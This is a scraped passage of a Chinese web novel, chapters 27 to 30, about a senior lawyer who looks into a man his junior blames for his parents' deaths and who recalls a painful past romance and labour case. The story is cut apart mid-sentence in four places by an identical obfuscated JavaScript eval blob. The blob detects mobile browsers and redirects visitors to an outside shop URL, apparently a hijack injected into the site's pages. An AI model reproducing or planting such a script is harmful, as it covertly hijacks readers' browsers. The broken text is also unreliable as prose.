其实王信鸿说的对，谭穆作为漏网之鱼的可能性不大，而且严熤醉成那样，所言未必真实，但尹观庭还是感觉内心有些焦躁，不得不做些什么来对抗这样情绪。 短短七年，不足以平息父母逝去带来的伤痛，但罪魁祸首（哪怕是自以为的）却衣冠楚楚地站在了他面前，作为受害者不仅不能发泄，甚至还得好言好语地提供服务，尹观庭难以想象这其中的心理折磨，于是越发担心严熤。 难道让严熤现在退出这个项目？ 尹观庭不自觉思考起来，都没注意对面沙发的严熤已经醒了过来。 严熤喝的不多，醉得快醒得也快，难得的是醒过来没有断片，想到自己喝醉之后扒拉着尹观庭又哭又闹的，以严熤的脸皮都有一点遭不住。 但转念一想，他什么糗事没在尹观庭面前出过，什么修改三遍信誓旦旦没有错的文档还有错别字，什么病倒在家放人鸽子还得苦主把人送医院，什么穿女装平地摔被人逮个正着之类的，回想完一圈，严熤心安理地把今晚的黑历史丢进了太平洋。 这时他才发现尹观庭并没有在看他，而是脸色肃穆地在想些什么。 严熤顿时有些不安，他倒是不怕在尹观庭面前出丑，可他担心因为自己的原因给大家的工作添麻烦。等了几十秒，发现尹观庭似乎还没有回神的意思，严熤小心翼翼地唤了一声：“师兄？” 尹观庭陡然回神，这才发现严熤已经醒了，于是顺嘴问道：“你还好吗？有没有哪里不舒服？” “没有没有，”严熤赶紧摇头，“就……今晚我没给大家添麻烦吧？” 尹观庭没说话，一双黑沉的眼睛定定地看着他。 这下把严熤看毛了：“真……真的添麻烦了吗？那……” “没有，”尹观庭平静地打断他，“你还记得你跟我说了什么吗？关于你父母的事情。” “……”严熤虽然记得自己刚才干了什么，但还真记不清说了什么，听到尹观庭提到自己的父母，心里顿时一空，他有些勉强地笑了笑，“我不记得了，但……但醉话就不要在意了吧。” 要是平时严熤倒也不介意和尹观庭说自己家里的事，今天见到谭穆让他心情非常不好，并不是很想回忆和父母有关的事。 但尹观庭并没有给他逃避的机会：“你说谭穆是你父母出事的罪魁祸首，我想知道你这个判断是怎么来的，有证据吗？” 尹观庭说这话的时候，并没有逼问他的意思，他自认自己语气平和，只是多了解一些情况，然而严熤却像是被针扎了的气球，突然爆发出一阵怒气，几乎是喊了出来：“没有！那又怎样？！” 话音刚落，屋内一片寂静。 严熤吼出来后自己也懵了，随即而来的是后悔，他不应该把怒气撒在无关人身上的。 相比于他，尹观庭却是惊讶居多，从他认识严熤以来，严熤就没有这么大声地跟他说过话，以至于他一时竟然有些反应不过来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740075|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>死一般的沉默过了几秒，两人几乎同时开口： “我没有别的意思……” “师兄对不起！” 又是一片寂静。 “哈哈，”最后还是严熤干笑了两声，强行挽尊，“要不我们还是换个话题吧。” 尹观庭感受得到他的排斥，但并没有就此终结话题的意思，他最终选择了自己习惯的解决方式。 “我并不想揭你的伤口，但是谭穆的存在很明显影响了你的情绪，不是吗？除非你想退出这个项目，否则我觉得我们有必要就此进行一个坦诚而直接的交流。虽然这样有自夸嫌疑，但我想以我的人脉和阅历，应该能给你一些帮助，我想说开了对我们都是有利无害的，如何？你愿意吗？” 除了工作的时候，尹观庭很少长篇大论，但当他侃侃而谈的时候，很容易就能把听者的情绪带入到他自己的节奏中，起码现在就是如此，严熤内心那些激烈而膨胀的情绪随着他的话平息了下去，不由自主地开始按照尹观庭的思路思考起来。 而这本来就没有什么好思考的，虽然严熤很少和别人倾诉自己家里的事情，但不说的主要原因是不想把负面情绪带给其他人，而不是不能说或者不愿意说，但尹观庭显然不是那种会被严熤情绪所左右的人，于是严熤也没什么心理负担，很快调节好了情绪，把当年的事情都吐了出来。 谭穆确实不是当年工程事故的罪魁祸首，起码表面上不是，当年并没有能够指向谭穆的证据。但谭穆并非跟工程毫无关系，严家夫妻就是在他带入事故工程的，谭穆当时的身份应该是工程的劳务分包负责人，除了严家夫妻，还管着其他做工的工人。 尹观庭皱了皱眉，他事后查过那个案子的具体情形，是高空作业时承载的脚手架断裂，七人坠楼，无一生还。事后调查原因，除了施工方偷工减料，采购的脚手架不符合安全规制之外，工人并没有严格按照安全规定搭建脚手架也是原因之一，也因此，当时的劳务方将一部分责任甩到了严熤父母头上，理由是严熤父母作为小包工头，并没有带领底下的工人按质按量的安装脚手架。 尹观庭回忆着案件的细节：“我记得那个工程劳务分包方的负责人已经进去了。” 严熤点点头：“是，但事实上的负责人是谭穆。” 他之所以会知道，是因为他在少有的几次外出探望父母期间，在父母的工地上见过谭穆，当时父亲面对这位谭总时，那种朴实而谦卑的姿态，严熤至今记忆犹新。当时父亲给他介绍的是，这位谭总是工程的负责人，大家伙都要听他安排。 尹观庭：“如果谭穆真的是当时的劳务负责人，那警方在调查的时候不可能错过这样的细节，总不能所有的工人都替他遮掩吧？” 严熤无言以对，当年这件事情他也和郭庆梅说过，郭庆梅和尹观庭想的一样，而严熤确实没有证据。这样的不甘和痛苦困扰了他很长时间，以至于刚才尹观庭随口一句话就能让他应激。 见人蔫了下去，尹观庭也没继续追问。 他看了看表，时间已经接近凌晨两点，于是他招呼严熤去洗漱休息，自己则是坐在沙发上沉思。 虽然理论上不可能所有工人都替谭穆遮掩，但万一呢？ 谭穆可是从清溪那个烂摊子里全身而退了。 28. 第 28 章 第二天，尹观庭向自己的老客户们发去了询问的信息。 但头牌律师的不便之处就在此了，尹观庭的客户们大多都是这个行业里的领头羊，对于谭穆这个宏远集团的七八个副总之一实在没有什么印象，辗转打听无果之后，尹观庭只好从谭穆的籍贯出发，几经周折，总算是联系上了一位很久不见的大学同学。 老同学毕业之后就在谭穆的老家当律师，虽然不是建工领域的，但谭穆的老家也不是什么大城市，律师们专业划分也没那么细致，于是老同学还真听说过谭穆这个人。 虽然不知道他在严熤父母的事故中扮演的角色，但老同学还是给出了一个回答：“那个人做事不是很老实，他做的那些我老感觉迟早要出事，不过是听说有个很厉害的本家兄弟，也不知道是真是假。” 尹观庭脑海里瞬间浮现出谭总的样子。 如果说最开始调查谭穆，只是尹观庭的私心作祟，那现在他是真的开始有些担心了。 清溪村这个专项的下一步是协助宏远集团应对住建部门的调查，而作为律师，他们需要为宏远集团出具法律合规性报告。假如宏远高层之一存在违法行为但他们的合规性报告却没有这一点的话，那他和王信鸿就得担心律协和司法局的调查了。 于是他拜托老同学多关注一下谭穆的情况，自己则开始联系一些业内的朋友，希望能够联系上郭庆梅律师，对当年的事情再做一番调查。 找到淹没在时间里的证据需要一定的耐心和运气，转眼一个多星期过去，尹观庭并没有得到什么收获。 好在他也不算着急，宏远的项目还在僵持，而最近他开始调整严熤的工作重心，把一些常年法律顾问和一些较为复杂的诉讼案件交给了严熤，让他渐渐从宏远集团的项目中退了出来。 严熤对此接受良好，不用面对谭穆，着实让他松了一口气，但小伙伴们可不这么认为。 这天中午，尹观庭出门见客户，严熤难得地和一众低年级律师聚在一起吃饭，吃到半途，小陶突然忧心忡忡的问严熤：“怎么回事？你要被你老板开了吗？” 话音刚落，一起吃饭的律师们顿时激动了起来。 “我就说吧，没人能在尹大魔王手上坚持超过一年！” “三个月过了啊，三个月过了！我赢了，输了的赶紧把赌注交出来！” “切！你怎么就赢了？这不是还没定论的吗？！” 严熤一脸懵逼，他还没有反应过来小陶的结论从何而来，就发现了同事们的聚众赌博。 “什么情况？拿我打赌呢？” 场面顿时有点尴尬，激动的众人似乎这才想起来赌局的当事人就坐在大家中间。 “哈哈，”主任团队的郭伟成律师有些尴尬的一笑，“那什么，这不是大家都比较……嗯……” “嗯？”严熤一挑眉头，打算看他能说出个什么一二三四五。 “哎呀，胖哥少支支吾吾了，”小陶快人快语，“那什么，你懂得噻，尹律那个情况，一般他招助理，我们都会开个赌局看这个助理能坚持多长时间，现在你到这里已经快半年了，接近最高记录了你知道吗？所以快说，你是不是要被开了！” 尹观庭换助理如换衣服的传说在律所流传已久，这严熤是知道的，但他没想到这帮同事竟然真的有这么无聊，顿时无语。 “少瞎说啊，我工作得好好的呢，怎么就要被开了？” 小陶：“那最近怎么清溪那个项目都看不到你的身影了？尹律排挤你啊？” 严熤：“……” 这个事情解释起来有点复杂，严熤想了想，干脆找了个借口：“我这不是忙其他的事吗？再说我对建工本来也不感兴趣，所以师……尹律就给我安排了一些其他的工作。” “这样啊……” 大家八卦的欲望顿时被这个合理的解释打消了，不由自主地发出了一阵失望的声音。 胖哥感叹道：“当初好像只有我一个人压了小严可以坚持过一年，难不成我是天才？” 众人一片嘘声，倒是严熤笑眯眯的：“说不定哦。” 胖哥顿时感动：“坚持住，小严，要是兄弟赢了，一定请你吃好的！” “唉唉唉，怎么回事，这有人勾兑，管一管呀！” “勾兑你个头呢，会不会说话？这叫经协商达成一致，懂吗？” “滚吧你！” 众人笑闹一阵，才换了个话题，和严熤同期进律所的一位实习律师有些羡慕的看着他：“唉，真好，你都知道自己要做什么方向了。不像我，都不知道自己以后能做什么业务。” 他这话一出口，小陶顿时来了兴趣：“诶对了，小严你不做建工是打算走哪个方向？资本市场吗？尹律在这方面也挺厉害的。” “那倒不是，”严熤想了想，“我可能还是想做劳动人事吧。” 于是乎，话题转到了执业方向上，严熤一边吃饭一边分心听众人讨论，没发现相对比较资深的胖哥和小陶的表情很是微妙。 等午餐结束，胖哥和小陶把他堵在了楼梯间。 “小严，你真的想做劳动争议啊？” 这三堂会审的架势把严熤整不会了：“是………啊………什么情况？咱们律所不让做吗？” 胖哥摆了摆手：“那倒不是，主要是尹律从来不做劳动人事，你不知道吗？” 严熤还真不知道，闻言顿时一愣：“为什么？” “那谁知道，”小陶摸着下巴，“你今年才来，不知道之前尹律为了不接劳动人事的案子还和主任吵过一架，不是那种开玩笑的吵，是吵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740076|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出真火的那种吵。当时周舟冒死听了一嘴，主任连‘这种困难你都克服不了，你当什么律师’这种话都说出来了，结果尹律还是没接那个案子。” 小陶一摊手：“所以你懂了吧，尹律自己是肯定不会有劳动人事的案子的，如果你要做这个方面的，除非你自己有案源，不然你可能只能换个老板了。” “要我说，你倒也不必这么执着于这个方向，”胖哥补充说道，“资本市场多好呀，高端又来钱，C市这方面的业务本来就不多，尹律就占了大头，钱途无量啊，你多考虑下吧。” 严熤听了一耳朵的劝告和八卦，虽然疑惑不浅，但还是十分感激：“好，我会好好想想的，谢谢你们。” “嗨，这有什么好客气的，”胖哥表示不必在意，随即又加了一句，“但你记得啊，撑过一年，我能不能赢就看你了！哥们以前还没赢过呢！” 严熤顿时乐了：“好嘞，放心吧您！” 就在严熤和小伙伴们讨论执业方向的时候，尹观庭刚刚结束和明河集团大老板的会议，大老板姓陈，和尹观庭的关系一直不错，谈完事后亲自把他送到了楼下的停车场。 下楼的电梯里，陈总突然一拍脑袋：“看我这记性，上次尹律师拜托我帮你打听的事情，我还真打听了一些情况。” 脑子高速运转了一上午的尹观庭顿时集中了有些涣散的注意力：“您说说看。” 陈总说道：“你别说，以前我没注意过谭穆这人，现在找几个朋友帮忙问了一下，这人还真有些邪乎。 “尹律师你也知道，我们这行不合规的地方多了去了，但大家心里都有杆秤，不合规归不合规，但绝不能出大事儿。但谭穆这人吧，他接手的项目竟然有好几个都捅了篓子。这要搁我们公司，早就被开除了，绝不可能还让他当什么副总。而且这人运气还挺好，他项目出的那些事儿竟然都没连累到他。” 尹观庭皱了皱眉：“看上去确实有些问题。” “可不是。虽然不知道尹律师你为什么要找他，但是我手下有个小兄弟之前跟谭穆打过交道，认识几个以前在谭穆手底下的工人，我可以把联系方式给你，你要是有什么要打听的，可以直接问。” 这可真是个好消息，尹观庭很是感激：“那就太好了，陈总费心了。” 陈总摆摆手：“咱们这么多年合作关系，谁跟谁呀。行了，你慢走，我也不送了。” 尹观庭颔首，目送他乘上电梯离去。 郭庆梅似乎因为一个案子到了深山老林，尹观庭始终没能联系上她，但打听了这么久，总算是得到了一点进展，饶是尹观庭情绪波动一向比较小，也有些按捺不住的兴奋。 然而就在他心情愉快地准备取车回律所的时候，却意外的碰上了一个此生以为再也不会相见的人。 29. 第 29 章 兰玉延定定看着对面正在点餐的男人。 西装革履，从容不迫，礼貌而疏离，虽然面容相似，但和印象中那个开朗热情的青年完全不一样，直到现在，兰玉延还有一种陌生之感，若非四目相对时，尹观庭的一刹那的怔忪，恐怕他还不敢与故人相认。 但好像也不是那么难以想象，十年前他接受尹观澜的条件，出国留学前见了尹观庭最后一面，对方沉默的样子，似乎就是这样的冷淡疏离。 就在他放空思绪时，尹观庭把菜单递给咖啡厅的服务员，随即双手交握放在桌上，看了过来：“好久不见，你什么时候回国的？” “咳……”兰玉延仓促地收回思绪，险些被自己呛到，有些狼狈的接话，“一个月前。” 尹观庭“嗯”一声：“这些年国内变化很大，你可以多逛逛，来C市出差吗？” 他想说不是，但是看着尹观庭平静的眼神，他最终还是退缩了：“对……有个项目。” “挺好的。”尹观庭不带情绪地评价了一句，随即转移话题，和他聊了聊C市近些年的发展。 他像是面对一个多年不见的不熟悉的同学，属于成年人的社交态度无懈可击，可谓是相当体面。 然而兰玉延接受不了这样的对待，不尴不尬地聊了几句之后，他出口的话语里忍不住带上了情绪：“你就只想跟我说这些吗？” 尹观庭依然是那副波澜不惊的表情：“那我们之间还有什么可以聊的呢？” “ 我……”兰玉延咬紧牙关，“当年的事，是我对不起你，我只是想……” 尹观庭不由得闭了闭眼。 王信鸿说的对，逃避永远解决不了问题，有些事情不是不去想就不用面对，无论过去多少年，他终究还是有一日要直面噩梦。 十年前，尹观庭刚确认了自己的性取向，就在大学的社团活动当中遇到了外貌性格都很对胃口的兰玉延，以他当时的外貌性格和家世，几乎不可能在感情上受挫，兰玉延虽然耻于承认性向，但却无法拒绝他，两人很快确认了关系。 现在回想起来，当初即使没有那样的意外，他们俩也不可能在一起，年轻的尹观庭自信到自负，天不怕地不怕，对他而言，同性恋和明天吃什么是一个等级的问题，但兰玉延不是，从一个从南方的小城考入R大，身上还背着传宗接代和光宗耀祖的期望。思想和背景本就不相同，何况兰玉延敏感多思，尹观庭自傲洒脱，两人本就不可能长久，而后来的变故更是把这种裂痕拉到无以复加。 尹观庭的母亲在他两岁左右就去世了，年幼丧母导致父亲和大了快十岁的哥哥简直是把他捧在手里宠，也因此尹观庭并不觉得出柜是什么大事，在和兰玉延确认关系后不久，他直接向父兄坦承了自己的性向，然而令他意外的是，一向宠爱他的哥哥和父亲对此却大发雷霆。 父亲也就算了，尹观庭一开始就做好了长期抗战的准备，并且相信老爸古板归古板，但最终还是会接受的。然而国外留过学，思想开放又和自己很是亲近的大哥也十分反对和生气，这就让他不能理解了，两兄弟为此争论了很久，谁也无法说服谁，于是尹观庭一怒之下离开了光源集团，转而去了律所实习，尹观澜更绝，直接断了自己弟弟的生活来源。 尹观庭对此嗤之以鼻，凭他的能力在头部律所拿个实习offer简直不要太简单，何况他也没有富家子弟穷奢极欲的毛病，以丰厚的实习工资足够他活得潇洒了。 倒是兰玉延，知道这件事后忧心忡忡，甚至一度提出分手，希望尹观庭和家里修复关系。尹观庭理解不能，两人为此吵了不是一次两次。 时间就这么来到了大四上半学期，两人因为尹观庭出柜而产生的裂缝还没有完全修复，兰玉延的父亲就出事了。 他的父亲在一家企业的物流部当司机，在出工的路上发生车祸死亡，身体本就不好的母亲更是大受打击直接进了医院，兰玉延飞速回了家，尹观庭担心他，也请了假和他一块儿回去。 兰父出事的主要原因是疲劳驾驶，同时还导致了一位无辜人士的伤残，虽然交强险理赔了一部分，但剩余的赔偿款、购买货车的贷款、母亲的医药费、兰玉延助学贷款以及这些年向亲朋好友借的钱，足以击垮一个家庭。 尹观庭协助兰玉延办理了父亲的后事，并让他向兰父所在的公司提出工伤认定和理赔，兰父的工亡补偿金足以补足剩下的赔偿款，再说，如果不是这家公司对送达时间和司机们的严苛要求，兰父也不至于顶着疲劳上工，资本家也应该为此付出代价。 然而尹观庭深入梳理之后才发现，兰父和雇佣他的那家公司之间，竟然根本没有劳动合同关系！ 兰父和公司签订的所谓的劳动合同，事实上是一份货运合作协议！ 那是一家制造企业，旗下组建物流部的目的本就是为了减轻向上游供货时的成本，自然不愿意承担多余的人事开支。为了避免这部分成本，这家公司采用了一个很绝的方式，所有受雇于物流部的司机，都依据公司人事的指示，向公司人事提供了提交了身份证授权书等文书材料，并找借口让司机们签了实质上的货运协议，而公司则利用司机们提供的信息和授权书，在工商部门完成了个体工商户的登记。 这样一来，公司与员工的劳动关系就变成了公司与个体工商户的商业合作关系，公司不仅不需要为司机们购买社会保险，还不需要为司机们的安全负责任，甚至可以光明正大的以甲方的身份扣除晚点司机的合作费用（工资），大部分的司机文化水平有限，更不可能有法律素养去理解公司在这上面玩的花招，于是稀里糊涂地成了个体工商户，连自己的权益都无法保证。 搞清楚这一点之后，尹观庭简直出离愤怒，除了对男朋友家里的事情共情之外，更多的是来自于一个尚有法律信仰的法学生对这些人玩弄法律的愤怒。 于是他毫不犹豫的拒绝了兰玉延息事宁人的想法，并且拍着胸脯告诉他，我一定会想办法帮你们拿回该得的赔偿。 那样眼里燃烧着光芒的尹观庭，兰玉延一如既往地无法拒绝，于是他和尹观庭一起回到了帝都，在尹观庭实习的律所里签下了委托协议，尹观庭人生的第一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740077|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案子就此开始。 不仅没有代理费，甚至给律所的管理费提成还是他自己用工资支付的。 为了做好这个案子，尹观庭不仅向律所里的大状们四处求取经验，甚至想办法联系到了R大的李明光教授，李明光教授当时正准备向社会法方向进行转型，对这个案子十分感兴趣，给了尹观庭很多的建议和思路，而且李教授对于这个思维敏锐且十分有想法的学生十分欣赏，一来二去，尹观庭卡在最后的期限之内，保研成功，成了李明光教授的研究生，也因此认识了当时已经混得风生水起的王信鸿，结交一位良师益友。 相比于学业和交友上的一帆风顺，兰父的案子却十分不顺利，从表面证据来看，兰父所任职的公司设计显然十分精妙，司机们手里很少有可以证明劳动关系存在的证据，而且公司还进行了十分专业的应对，代理律师从一开始就不停的利用程序拖延着时间，不仅导致证据的收集更加困难，最重要的是，兰家的家庭情况开始无法承担这样长久的诉讼压力。 兰家本就经济困难，纵使尹观庭已经把自己的工资大部分给了兰玉延做周转，可他在失去光源集团继承人的身份之后，一个实习律师又能有多少钱呢？兰玉延更不用说，虽然他读的计算机不愁找工作，但找到的工作也是压力拉满，更重要的是两人的工资，根本没有办法支撑兰母的越来越高医药费。 而且从案件正式开始提起仲裁后，兰玉延要操心母亲，操心案子，操心工作，还要应对受害人一家的讨债……压力直接爆仓，而对于性格较为内向敏感的他来说，彼时与他关系最亲近的尹观庭几乎成为了所有压力发泄的唯一窗口，但尹观庭又不是什么能忍的角色，尹二少什么时候受过这样的委屈，于是两人之间开始两天一小吵，五天一大吵，裂缝近乎无法修补。 但这个世界上的黑色幽默显然不止于此。 经过近一年半的仲裁程序，尹观庭艰难地胜了，然而胜诉的仲裁裁决还没来得及给两人带来关系缓和的时间，公司的果断上诉再次把程序拖向了时间深渊，兰玉延的母亲坚持不下去了，为了不拖累儿子，她选择了自杀。 兰玉延还没从失去母亲的痛苦当中回过神来，就从对方代理人那里得到了一个消息，那家公司是光源集团间接控股的子公司，对方代理人机缘巧合地知道了尹观庭的真实身份，很真诚地打电话过来寻求和解，并建议他通过尹观庭的身份去解决这个事情，比诉讼程序容易。 但对于当时几乎已经失去判断力的兰玉延来说，他脑子里只有一个想法：害死父亲的是尹家，尹家还搞了这么一套恶心的设计，而他还把同为尹家人的尹观庭当成依靠！ 他疯了一样冲进法学院，在李明光教授的办公室里逮到了尹观庭，将人生所能想到的恶毒词汇，向自己爱慕的人发泄了出去，而尹观庭从一开始的茫然愤怒到知道他在说什么之后的沉默，坐实了兰玉延的猜想。 “尹观庭，你在给我那些保证的时候，不觉得自己也像他们一样的恶心吗？！” 他说完这句话，头也不回的离开了李明光的办公室。 30. 第 30 章 尹观庭知道轮汽公司（兰父的公司）实控人是光源集团的时间并不比兰玉延早多少。那个年代还没有企×查等第三方查询软件，想要穿透一家公司的股权架构是件很困难的事，对于完全不关心集团事务的尹观庭而言，他一开始确实不知道这家公司和光源集团有关系。 只是后来轮汽公司的执行董事在听取汇报的时候得知了兰父的代理律师来自京城，出于谨慎了解了一下，顿时被这个和光源集团小尹总名字十分相似的律师惊到了，于是远在京城的尹观澜知道了这件事，顿时被气的够呛。 彼时刚刚接手光源集团的小尹总简直不敢置信，他是知道尹观庭有一个小男友的，但在他的想法里，这只是弟弟叛逆期的一个插曲而已，万万没想到这个小白眼狼居然真的为了一个外人跟家里对着干，于是他一个电话把尹观庭叫回了家。 而当尹观庭知道这件事之后，也顾不得自己还在和大哥冷战，回家之后一股脑把轮汽公司搞的恶心事全说了出来，并且理直气壮地要求尹观澜整改旗下的子公司，管管这帮瞎胡闹的属下。 然而尹观澜听完之后，只是十分冷静的告诉他，这个制度不是总部设立的，但假如他们把这个制度上报总部审批的话，我会同意的。 尹观庭愣住了，他最开始是怀疑自己没有说清楚这个事给兰玉延的父亲，以及像他父亲一样的普通人带来的麻烦和伤害，但尹观澜打断了他，他听到自己一向优雅和善绅士一样的大哥跟他说：“我觉得他们做的没有什么问题，能最大化的保证公司的利益，即使出现了你所谓的兰……兰玉延是吧，即使出现了他家的那样情况，但损失是在可接受范围之内的。” 看着面前一脸不可置信的幼弟，尹观澜叹了一口气：“不当家不知油米贵，是我和爸爸太惯着你了，我很高兴你能有这样的正义性，但我希望你能从家里的角度考虑一下，光源是一个很大的摊子，我们管理它是需要考虑成本的，明白吗？” “违法犯罪就不是你需要考虑的成本了吗？” “讨论事情不要带情绪，”尹观澜先是习惯性的教训了一句，继而才说道，“我并不觉得轮汽的做法够得上违反犯罪这么严重的情节，当然如果你非要计较的话，那这样的成本确实也可以被计算，我想你应该知道福特公司的例子吧，起码我和爸爸不会做到那个程度。” 尹观庭气笑了：“怎么难不成玉延他们还得感谢你们吗？轮汽那帮人现在做的事情和福特公司有什么区别！” “本质上来说，那是兰玉延的父亲自作自受，”尹观澜依然很冷静，“而直到现在，双方之间还是有谈判余地的，不是吗？” “你说的余地就是他们打算用五万块打发掉叫花子吗？” 尹观澜皱了皱眉：“你能不能不要带情绪，好了，我们没必要在这种事情上面继续争执，你老实听话回家，我可以解决你那个小男友的问题……” “尹观澜！你不要回避我的问题，这根本不是一回事……” “够了！”大哥少有的疾言厉色，直接让尹观庭一僵。 “我不知道你那些多余的正义感和同理心是从哪里来的，我希望你起码记得你面前的人是你的哥哥！你看看你什么态度！我不管你对这个制度有多少不喜欢，但你必须知道这就是企业发展的常态，即使我们不做，也总会有其他人做。你二十二了尹观庭，该睁开眼睛去看看这个世界而不是沉浸在你天真可笑的正义梦中。” 尹观庭紧紧咬着牙。 “何况你以为你可以脱离这个姓氏吗？你以为你帮你那个小男友做的事情真的会得到感激吗？现实比你想的残酷的多，你得接受不是努力就有结果，不是不正确就要支付代价。” “我会去看的，”尹观庭终于开口了，他看着自己的哥哥，“我会让你知道代价该怎么支付的。” 而可笑的是，尹观澜的话很快就应验了，但尹观庭的豪言壮语却没有实现的那一天。 尹观澜介入之后，光源集团的律师团迅速给旗下的子公司们列明了一系列的劳动人事规章制，以协议外包的形式替代了轮汽集团的合作制，同时发了一笔奖金，司机们得到了好处，对兰家的事情三缄其口，在兰父案件一审庭审时，轮汽的代理律师认为尹观庭一方提交的证人证言存在虚假，而证人又拒绝出庭作证，仲裁时帮助了尹观庭证据在很大程度上被推翻了。 无论是尹观庭还是和他一起出庭的正式律师，两人在开完庭之后统一的感觉都不是很乐观。 没等他想好怎么把这个消息和兰玉延交代清楚，就发生了在李明光教授办公室的一幕，尹观庭不得不花费很大精力去和自己的恩师解释，而更糟糕的是，在第二天，兰玉延就告诉他自己准备撤诉。 R大的观景湖旁边，他们俩时常约会的地点，兰玉延用一种木然但平静的表情跟他说：“昨天说的话我很抱歉，但我打算出国留学，这件事不用管了，就这样吧。” 尹观庭沉默良久，涩然道：“尹观澜找过你了。” 兰玉延木然的眼睛里终于出现了一丝其他的情绪，他嘲讽的看着尹观庭：“你不是都知道吗？何必明知故问呢。” 尹观庭无言以对。 兰玉延最后深吸一口气，自嘲道：“钱真是个好东西，不是吗？” 尹观庭只能沉默地看着他，直至以后，再也没有见过他。 最后他不得不承认，尹观澜是对的。 “今天先到这儿吧。” 尹观庭停下回忆，身心俱疲，他没给兰玉延在说话的机会，简单粗暴的结束了今天的会面，也顾不上失不失礼，直接把人丢在了咖啡馆。 兰玉延张了张嘴，最终还是没有喊住他。 尹观庭在方向盘上趴了几秒，手机震动了一下，他拿起来一看，是陈总将几个工人的联系方式发到了他的微信里，尹观庭看着这几条信息，内心突如其来一阵厌倦。 又是这样，又是这样！ 十年前他自不量力地揽下了兰玉延的家事，十年之后他又自作主张地揽下了严熤的家事，十年之前他不能为兰玉延解决问题，十年之后难道他就可以为严熤解决了吗？作为宏远集团高薪聘请的律师，他难道还能做出什么对客户不利的事情吗？他难道还能让谭穆消失给严熤一个公道吗？ 十年之前的兰玉延不感激他，难道十年之后的严熤就会吗？ 想什么来什么，他迁怒的人正好在此时给他打了个电话。 尹观庭顿了顿，勉强收敛了几分情绪：“喂？什么事？” “师兄，你身体不舒服吗？”那边的严熤十分敏锐，并没有着急说事，而是关心起了尹观庭的身体。 尹观庭一瞬间的自厌情绪几乎到了巅峰，他的声音不由自主的冷了下来：“我没事，你直接说吧。” “哦哦，是这样的，”严熤听出他情绪不对，识趣的没再纠缠，“今天下午四点半律所有一个活动，行政问你能不能参加，另外，下午两点要和天霞的人开会，讨论并购协议的细节，会议快开始了，我看你还没回来，所以想问问你要线上参加吗？” 说到正事，尹观庭条件反射性地压下了所有的私人情绪，正准备告诉严熤自己马上回来，先准备线上会议室，就听严熤话风一转： “但我感觉师兄你好像身体不太舒服，要不你先回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740078|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去休息吧，下午那个活动你们高级合伙人本来就可以不参加，我跟行政说一声。另外天霞并购协议的重点内容上次我们也讨论过，这次我就直接跟他们对接吧，事后把会议记录给你过目，然后我们再决定下一步的修改，你看这样可以吗？” 他三下五除二把事情都安排好了，尹观庭一时间不知道该说什么。 电话那边的声音还在继续：“师兄你不会不放心吧？上次讨论的时候你说那么详细，肯定不会出问题的，相信我一次好不好嘛？你回去休息吧。” 怎么有人让别人休息都像是在撒娇。 尹观庭闭了闭眼，翻腾的情绪缓和了下来，他略显沙哑的回了一句：“好，辛苦你了。” 严熤清亮的声音传来：“没事没事，不辛苦……啊？好的，我马上过去……师兄，天霞的人到了，我先出去招待一下，就这样，挂了。” 挂了电话，尹观庭捏着手机在车上发了十来分钟的呆，这才开车回了家。 回家之后，他直接倒在了沙发上，没多久就沉沉睡了过去，直到被一阵香味唤醒。 他睁开眼睛醒了醒神，发现自己仍然躺在沙发上，身上披了一床被子。诱人的饭菜香味从餐厅的桌上传来，厨房里还有一阵一阵叮铃哐啷的声音。 他起身一看，果然是严熤——上次他把醉酒的严熤带回家之后，就顺手把自己家的密码给了严熤。 以前只有王信鸿有这个待遇。 严熤端着一盘菜从厨房出来，看见坐在沙发上的尹观庭，愣了一下，随即笑了起来：“师兄你醒了啊，我正准备叫醒你吃饭呢。” 尹观庭：“……” 自己今天的状态确实是差到无以复加，他已经很多年没有这种不知道如何是好的无措感了。 严熤倒是十分自然，指使着尹观庭去洗手吃饭，尹观庭一步一个指令地回卧室洗了把脸，顺便换了一身柔软的家居服，这才回到餐厅，而严熤已经将饭菜碗筷都摆好了。 